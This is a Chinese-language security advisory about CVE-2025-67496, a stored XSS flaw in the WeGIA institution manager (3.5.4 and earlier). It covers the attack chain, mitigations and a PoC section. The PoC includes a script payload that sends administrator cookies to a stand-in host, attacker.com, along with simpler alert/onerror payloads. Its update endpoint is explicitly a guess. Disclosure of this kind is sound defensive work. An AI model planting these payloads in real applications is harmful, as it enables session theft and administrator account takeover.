IPBUF安全漏洞报告
English
CVE-2025-67496 CVSS 4.3 中危

CVE-2025-67496 WeGIA 3.5.4及以下版本存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67496
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WeGIA

相关标签

存储型XSS跨站脚本WeGIACVE-2025-67496Web应用安全权限提升会话劫持HTML注入

漏洞概述

WeGIA是一款面向葡萄牙语用户的开源Web机构管理器。在3.5.4及以下版本中,存在一处存储型跨站脚本(XSS)漏洞。该漏洞位于密码配置功能模块(configurar_senhas.php),攻击者可通过在员工姓名字段中注入恶意JavaScript代码,当管理员访问相关页面时,恶意脚本将在其浏览器中执行。由于漏洞属于存储型XSS,恶意代码会永久保存在数据库中,任何访问该数据的用户都会受到攻击。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户或进行进一步的钓鱼攻击。官方已在3.5.5版本中修复此问题。

技术细节

漏洞根源在于应用程序在处理员工姓名数据时缺乏输入验证和输出编码。具体来说,/WeGIA/html/geral/configurar_senhas.php端点从数据库检索员工姓名后,直接将数据注入到HTML <option>元素的value属性和显示文本中,而没有进行HTML实体编码或转义。攻击者只需在员工档案中设置包含XSS payload的姓名,如:<script>alert(document.cookie)</script>或<img src=x onerror=...>,该payload会随数据库记录永久保存。当管理员打开密码配置页面并触发员工下拉列表时,浏览器会解析并执行注入的恶意脚本。由于攻击利用的是服务器端存储的数据,常规的客户端输入验证无法防御此类攻击。修复方案需要对所有从数据库取出的用户可控数据进行HTML特殊字符转义处理。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获取WeGIA系统访问权限,识别员工管理功能模块
STEP 2
步骤2:注入恶意代码
通过员工资料编辑功能,在姓名字段中注入XSS payload,如<script>alert(1)</script>或事件处理器onerror
STEP 3
步骤3:数据持久化
恶意payload随员工信息保存到数据库,变为存储型漏洞
STEP 4
步骤4:触发执行
管理员访问密码配置页面(configurar_senhas.php),员工下拉列表渲染时触发XSS
STEP 5
步骤5:窃取敏感信息
恶意脚本执行后,攻击者可获取管理员Cookie、会话令牌等敏感信息
STEP 6
步骤6:账户劫持
利用窃取的凭证,攻击者接管管理员账户并获取系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-67496 Stored XSS PoC // Target: WeGIA <= 3.5.4 // Endpoint: /WeGIA/html/geral/configurar_senhas.php // Step 1: Inject XSS payload via employee name field // Assuming there's an admin panel or API to update employee details: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example HTTP request to update employee name (if direct API exists): /* POST /WeGIA/api/employees/update HTTP/1.1 Host: target.com Content-Type: application/json { "employee_id": 123, "name": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" } */ // Step 2: When admin visits configurar_senhas.php, the XSS executes // The dropdown will contain: /* <select name="employee"> <option value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> </option> </select> */ // Simpler payload examples: const simplePayload = '<img src=x onerror="alert(document.cookie)">';

影响范围

WeGIA < 3.5.5
WeGIA <= 3.5.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在Web应用防火墙(WAF)层面添加XSS防护规则,过滤<script>标签和事件处理器属性;2) 限制员工资料编辑功能的权限,仅允许可信管理员操作;3) 在读取数据库数据输出到前端时,统一使用HTML转义函数处理;4) 监控访问configurar_senhas.php的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表